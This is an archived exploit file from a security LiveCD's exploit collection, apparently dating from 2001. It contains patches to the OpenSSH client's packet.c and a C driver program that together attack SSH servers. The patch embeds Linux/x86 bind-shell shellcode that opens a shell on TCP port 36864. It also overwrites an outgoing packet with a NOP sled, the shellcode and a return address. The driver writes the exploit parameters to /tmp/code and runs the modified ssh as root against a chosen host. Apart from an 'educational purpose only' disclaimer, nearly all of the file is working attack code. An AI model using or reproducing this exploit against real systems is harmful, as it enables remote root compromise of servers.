home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ssh / openssh / ssh-exploit-diffs.txt < prev    next >
Text File  |  2005-02-12  |  8KB  |  276 lines

  1. # Exploit code in the form of ssh client patches by Hugo Dias < bsphere@clix.pt >.
  2.  
  3. - --- packet.c Sat Oct 14 06:23:12 2000
  4. +++ packet.c Tue Feb 20 09:33:00 2001
  5. @@ -68,6 +68,85 @@
  6.  #define DBG(x)
  7.  #endif
  8.  
  9. +
  10. +/*
  11. + *  Linux/x86
  12. + *  TCP/36864 portshell (old, could be optimized further)
  13. + */
  14. +
  15. +char shellcode[] = /* anathema <anathema@hack.co.za> */
  16. +/* main: */
  17. +"\xeb\x72"                                /* jmp callz               */
  18. +/* start: */
  19. +"\x5e"                                    /* popl %esi               */
  20. +
  21. +  /* socket() */
  22. +"\x29\xc0"                                /* subl %eax, %eax         */
  23. +"\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */
  24. +"\x40"                                    /* incl %eax               */
  25. +"\x89\xc3"                                /* movl %eax, %ebx         */
  26. +"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
  27. +"\x40"                                    /* incl %eax               */
  28. +"\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */
  29. +"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
  30. +"\xb0\x66"                                /* movb $0x66, %al         */
  31. +"\xcd\x80"                                /* int $0x80               */
  32. +
  33. +  /* bind() */
  34. +"\x43"                                    /* incl %ebx               */
  35. +"\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */
  36. +"\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */
  37. +"\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */
  38. +"\x29\xc0"                                /* subl %eax, %eax         */
  39. +"\x89\xc2"                                /* movl %eax, %edx         */
  40. +"\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */
  41. +"\xb0\x90"                                /* movb $0x90, %al         */
  42. +"\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */
  43. +"\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */
  44. +"\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */
  45. +"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
  46. +"\xb0\x66"                                /* movb $0x66, %al         */
  47. +"\xcd\x80"                                /* int $0x80               */
  48. +
  49. +  /* listen() */
  50. +"\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
  51. +"\x43"                                    /* incl %ebx               */
  52. +"\x43"                                    /* incl %ebx               */
  53. +"\xb0\x66"                                /* movb $0x66, %al         */
  54. +"\xcd\x80"                                /* int $0x80               */
  55. +
  56. +  /* accept() */
  57. +"\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */
  58. +"\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */
  59. +"\xb0\x66"                                /* movb $0x66, %al         */
  60. +"\x43"                                    /* incl %ebx               */
  61. +"\xcd\x80"                                /* int $0x80               */
  62. +
  63. +  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
  64. +"\x86\xc3"                                /* xchgb %al, %bl          */
  65. +"\xb0\x3f"                                /* movb $0x3f, %al         */
  66. +"\x29\xc9"                                /* subl %ecx, %ecx         */
  67. +"\xcd\x80"                                /* int $0x80               */
  68. +"\xb0\x3f"                                /* movb $0x3f, %al         */
  69. +"\x41"                                    /* incl %ecx               */
  70. +"\xcd\x80"                                /* int $0x80               */
  71. +"\xb0\x3f"                                /* movb $0x3f, %al         */
  72. +"\x41"                                    /* incl %ecx               */
  73. +"\xcd\x80"                                /* int $0x80               */
  74. +
  75. +  /* execve() */
  76. +"\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */
  77. +"\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */
  78. +"\x87\xf3"                                /* xchgl %esi, %ebx        */
  79. +"\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */
  80. +"\xb0\x0b"                                /* movb $0x0b, %al         */
  81. +"\xcd\x80"                                /* int $0x80               */
  82. +
  83. +/* callz: */
  84. +"\xe8\x89\xff\xff\xff"                    /* call start              */
  85. +"/bin/sh";
  86. +
  87. +
  88.  /*
  89.   * This variable contains the file descriptors used for communicating with
  90.   * the other side.  connection_in is used for reading; connection_out for
  91. @@ -125,6 +204,9 @@
  92.  /* Session key information for Encryption and MAC */
  93.  Kex *kex = NULL;
  94.  
  95. +/* Packet Number */
  96. +int count = 0;
  97. +
  98.  void
  99.  packet_set_kex(Kex *k)
  100.  {
  101. @@ -461,6 +543,8 @@
  102.   unsigned int checksum;
  103.   u_int32_t rand = 0;
  104.  
  105. + count++;
  106. +
  107.   /*
  108.    * If using packet compression, compress the payload of the outgoing
  109.    * packet.
  110. @@ -1172,7 +1256,64 @@
  111.  void
  112.  packet_write_poll()
  113.  {
  114. - - int len = buffer_len(&output);
  115. + int len;
  116. + char buf[50],*p,*ptr;
  117. + char code[270000];
  118. + long sz;
  119. + FILE *f; 
  120. +
  121. + if (count == 2)
  122. + {
  123. +  f = fopen("/tmp/code","r");
  124. +  fgets(buf,28,f); 
  125. +  fclose(f);  
  126. +
  127. +  sz = GET_32BIT(&buf[24]);
  128. +  buffer_clear(&output);
  129. +  buffer_append(&output,code,sz); 
  130. +  len = buffer_len(&output);
  131. +
  132. +    ptr = buffer_ptr(&output); 
  133. +
  134. +  for(p = ptr + 4 ; p < ptr + GET_32BIT(&buf[16]) ; p+=8)
  135. +  {
  136. +  *p=buf[0];
  137. +  *(p+1)=buf[1];
  138. +  *(p+2)=buf[2];
  139. +  *(p+3)=buf[3];
  140. +  *(p+4)=buf[4];
  141. +  *(p+5)=buf[5];
  142. +  *(p+6)=buf[6];
  143. +  *(p+7)=buf[7];
  144. +  }
  145. +
  146. +  sz = ((GET_32BIT(&buf[20]) + 8) & ~7);
  147. +
  148. +  for(p = p ; p < ptr + sz ; p+=8)
  149. +  {
  150. +  *p=buf[8];
  151. +  *(p+1)=buf[9];
  152. +  *(p+2)=buf[10];
  153. +  *(p+3)=buf[11];
  154. +  *(p+4)=buf[12];
  155. +  *(p+5)=buf[13];
  156. +  *(p+6)=buf[14];
  157. +  *(p+7)=buf[15];
  158. +  }
  159. +
  160. +  sz = len - GET_32BIT(&buf[20]);
  161. +  memset(p,'\x90',sz);
  162. +  memcpy(p+sz-strlen(shellcode)-16,&shellcode,strlen(shellcode));
  163. +  memcpy(ptr,&buf[20],4); 
  164. +
  165. +  count++;
  166. + }
  167. +
  168. + len = buffer_len(&output);
  169. +
  170. +
  171.   if (len > 0) {
  172.    len = write(connection_out, buffer_ptr(&output), len);
  173.    if (len <= 0) {
  174. @@ -1299,3 +1440,4 @@
  175.   max_packet_size = s;
  176.   return s;
  177.  }
  178. +
  179.  
  180. - ------------------------------------------------------------------------------------
  181.  
  182. /* 
  183.  
  184. THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.
  185.  
  186. BlackSphere - Hugo Oliveira Dias
  187. Tue Feb 20 16:18:00 2001
  188.  
  189. Email: bsphere@clix.pt
  190. Homepage: http://planeta.clix.pt/bsphere
  191.  
  192. Exploit code for using the modified ssh
  193.  
  194. */
  195. #include <stdio.h>
  196. #include <stdlib.h>
  197. #include <unistd.h>
  198. #include <sys/types.h>
  199. #include <sys/stat.h>
  200. #include <fcntl.h>
  201.  
  202. /* Path to modified ssh */
  203. #define PATH_SSH "./ssh"
  204.  
  205. int main(int argc,char *argv[])
  206. {
  207.  int f;
  208.  int port;
  209.  unsigned long addr,*ptr;
  210.  char *buffer,*aux,ch,*ssh;
  211.  int i;
  212.  
  213.  if (argc < 8)
  214.  {
  215.   printf("\nUsage : %s <saved eip> <count> <packet length> <username length> <host> \
  216. <port> <h(i)>\n\n",argv[0]);
  217.  
  218.   fflush(stdout);
  219.   _exit(0);
  220.  }
  221.  
  222.  port=atoi(argv[6]);
  223.  
  224.  buffer = (char *) malloc(29);
  225.  
  226.  ptr = (unsigned long *) buffer;
  227.  
  228.  *(ptr++) = 1543007393 + strtoul(argv[1],0,10);
  229.  *(ptr++) = 0;
  230.  *(ptr++) = strtoul(argv[7],0,10);
  231.  *(ptr++) = 0;
  232.  *(ptr++) = 16520 + strtoul(argv[2],0,10);
  233.  *(ptr++) = strtoul(argv[3],0,10);
  234.  *(ptr++) = strtoul(argv[4],0,10);
  235.  
  236.  buffer[29]=0;
  237.  
  238.  for(i = 0 ; i < 27 ; i+=4)
  239.  {
  240.   aux = buffer + i;
  241.   ch=*aux;
  242.   *aux=*(aux+3);
  243.   *(aux+3)=ch;
  244.   ch=*(aux+1);
  245.   *(aux+1)=*(aux+2);
  246.   *(aux+2)=ch; 
  247.  } 
  248.  
  249.  printf("\nSaved Eip : &h + %u",1543007393 + strtoul(argv[1],0,10));
  250.  printf("\nReturn Address : 0x%xxxxx",(16520+strtoul(argv[2],0,10))/8);
  251.  printf("\nPacket Length : %u",(strtoul(argv[3],0,10)+8) & ~7);
  252.  printf("\nUsername Length : %u\n\n",strtoul(argv[4],0,10));
  253.  fflush(stdout);
  254.  
  255.  
  256.  f = open("/tmp/code",O_RDWR | O_CREAT,S_IRWXU);
  257.  write(f,buffer,28);
  258.  close(f);
  259.  
  260.  ssh = (char *) malloc(strlen(PATH_SSH) + 100 + strlen(argv[5]));
  261.  
  262.  strcpy(ssh,PATH_SSH);
  263.  
  264.  sprintf(ssh+strlen(PATH_SSH)," -p %i -v -l root %s",port,argv[5]);
  265.  
  266.  printf("%s\n",ssh);
  267.  
  268.  system(ssh);
  269.  
  270.  _exit(0); 
  271. }
  272.  
  273.  
  274.